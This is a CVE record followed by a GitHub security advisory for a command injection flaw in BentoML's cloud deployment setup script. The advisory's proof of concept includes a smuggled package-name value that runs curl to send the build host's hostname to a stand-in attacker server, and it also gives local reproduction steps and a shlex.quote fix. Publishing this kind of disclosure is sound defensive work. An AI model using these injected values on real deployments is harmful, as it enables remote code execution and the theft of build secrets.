{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-35043",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-07T14:09:04.043559Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-07T14:09:07.570Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-fgv4-6jr3-jgfw"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "BentoML",
          "vendor": "bentoml",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.4.38"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix for CVE-2026-33744. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. This vulnerability is fixed in 1.4.38."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-06T17:10:24.466Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/bentoml/BentoML/security/advisories/GHSA-fgv4-6jr3-jgfw",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-fgv4-6jr3-jgfw"
        }
      ],
      "source": {
        "advisory": "GHSA-fgv4-6jr3-jgfw",
        "discovery": "UNKNOWN"
      },
      "title": "BentoML: command injection in cloud deployment setup script (deployment.py)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-35043",
    "datePublished": "2026-04-06T17:10:24.466Z",
    "dateReserved": "2026-03-31T21:06:06.428Z",
    "dateUpdated": "2026-04-07T14:09:07.570Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.37"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "bentoml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.38"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T22:03:22Z",
    "nvd_published_at": "2026-04-06T18:16:41Z",
    "severity": "HIGH"
  },
  "details": "Commit ce53491 (March 24) fixed command injection via `system_packages` in Dockerfile templates and `images.py` by adding `shlex.quote`. However, the cloud deployment path in `src/bentoml/_internal/cloud/deployment.py` was not included in the fix. Line 1648 interpolates `system_packages` directly into a shell command using an f-string without any quoting.\n\nThe generated script is uploaded to BentoCloud as `setup.sh` and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier.\n\n## Details\n\n**Fixed paths (commit ce53491):**\n- `src/_bentoml_sdk/images.py:88` - added `shlex.quote(package)`\n- `src/bentoml/_internal/bento/build_config.py:505` - added `bash_quote` Jinja2 filter\n- Jinja2 templates: `base_debian.j2`, `base_alpine.j2`, etc.\n\n**Unfixed path:**\n\n`src/bentoml/_internal/cloud/deployment.py`, line 1648:\n\n    def _build_setup_script(bento_dir: str, image: Image | None) -\u003e bytes:\n        content = b\"\"\n        config = BentoBuildConfig.from_bento_dir(bento_dir)\n        if config.docker.system_packages:\n            content += f\"apt-get update \u0026\u0026 apt-get install -y {\u0027 \u0027.join(config.docker.system_packages)} || exit 1\\n\".encode()\n\n`system_packages` values from `bentofile.yaml` are joined with spaces and interpolated directly into the `apt-get install` command. No `shlex.quote`.\n\n**Remote execution confirmed:**\n- Line 905: `setup_script = _build_setup_script(bento_dir, svc.image)` in `_init_deployment_files`\n- Line 908: `upload_files.append((\"setup.sh\", setup_script))` uploads to BentoCloud\n- Line 914: `self.upload_files(upload_files, ...)` sends to the remote deployment\n- The script runs on the cloud build infrastructure during container setup\n\n**Second caller at line 1068:** `_build_setup_script` is also called during `Deployment.watch()` for dev mode hot-reload deployments.\n\n## Proof of Concept\n\nbentofile.yaml:\n\n    service: \"service:svc\"\n    docker:\n      system_packages:\n        - \"curl\"\n        - \"jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}#\"\n\nGenerated setup.sh:\n\n    apt-get update \u0026\u0026 apt-get install -y curl jq;curl${IFS}http://attacker.com/rce?d=$(cat${IFS}/etc/hostname)${IFS}# || exit 1\n\nThe semicolon terminates the `apt-get` command. `${IFS}` is used for spaces (works in bash, avoids YAML parsing issues). The `#` comments out the trailing `|| exit 1`. The injected `curl` exfiltrates the hostname of the build infrastructure to the attacker.\n\n## Impact\n\nA malicious `bentofile.yaml` achieves remote code execution on BentoCloud\u0027s build infrastructure (or enterprise Yatai/Kubernetes build nodes) during deployment. Attack scenarios:\n\n1. **Supply chain:** A shared Bento from a public model hub contains a poisoned `bentofile.yaml`. When deployed to BentoCloud, the injected command runs on the build infrastructure.\n2. **Insider threat:** A data scientist with deploy permissions injects commands into `system_packages` to exfiltrate secrets from the build environment (cloud credentials, API keys, other tenants\u0027 data).\n3. **CI/CD compromise:** The build infrastructure typically has access to container registries, artifact storage, and deployment APIs, making this a pivot point for broader infrastructure compromise.\n\n## Local Reproduction Steps\n\nTested and confirmed on Ubuntu with BentoML source at commit 0772581.\n\nStep 1: Create a directory with a malicious bentofile.yaml:\n\n    mkdir /tmp/bento-pwn\n    cat \u003e /tmp/bento-pwn/bentofile.yaml \u003c\u003c \u0027EOF\u0027\n    service: \"service:svc\"\n    docker:\n      system_packages:\n        - \"curl\"\n        - \"jq; touch /tmp/PWNED_BY_INJECTION #\"\n    EOF\n\nStep 2: Generate the setup script using the vulnerable code path (extracted from deployment.py:1648):\n\n    python3 -c \"\n    import yaml\n    with open(\u0027/tmp/bento-pwn/bentofile.yaml\u0027) as f:\n        config = yaml.safe_load(f)\n    pkgs = config[\u0027docker\u0027][\u0027system_packages\u0027]\n    script = f\\\"apt-get update \u0026\u0026 apt-get install -y {\u0027 \u0027.join(pkgs)} || exit 1\\n\\\"\n    print(\u0027Generated setup.sh:\u0027)\n    print(script)\n    with open(\u0027/tmp/bento-pwn/setup.sh\u0027, \u0027w\u0027) as f:\n        f.write(script)\n    \"\n\nStep 3: Execute and verify:\n\n    rm -f /tmp/PWNED_BY_INJECTION\n    bash /tmp/bento-pwn/setup.sh\n    ls -la /tmp/PWNED_BY_INJECTION\n\nResult: `/tmp/PWNED_BY_INJECTION` is created, confirming the injected `touch` command executed. The semicolon broke out of `apt-get install`, the injected command ran, and `#` commented out the error handler.\n\nGenerated setup.sh content:\n\n    apt-get update \u0026\u0026 apt-get install -y curl jq; touch /tmp/PWNED_BY_INJECTION # || exit 1\n\nFor comparison, the fixed version (with shlex.quote) would generate:\n\n    apt-get update \u0026\u0026 apt-get install -y curl \u0027jq; touch /tmp/PWNED_BY_INJECTION #\u0027 || exit 1\n\nThe single quotes from shlex.quote neutralize the semicolon and hash, treating the entire string as a literal package name argument to apt-get.\n\n## Suggested Fix\n\nApply `shlex.quote` to each package name, matching the fix in `images.py`:\n\n    if config.docker.system_packages:\n        quoted = \u0027 \u0027.join(shlex.quote(p) for p in config.docker.system_packages)\n        content += f\"apt-get update \u0026\u0026 apt-get install -y {quoted} || exit 1\\n\".encode()\n\n\u2014 Koda Reef",
  "id": "GHSA-fgv4-6jr3-jgfw",
  "modified": "2026-06-08T20:04:34Z",
  "published": "2026-04-03T22:03:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bentoml/BentoML/security/advisories/GHSA-fgv4-6jr3-jgfw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33744"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35043"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bentoml/BentoML"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/bentoml/PYSEC-2026-158.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BentoML: Command Injection in cloud deployment setup script"
}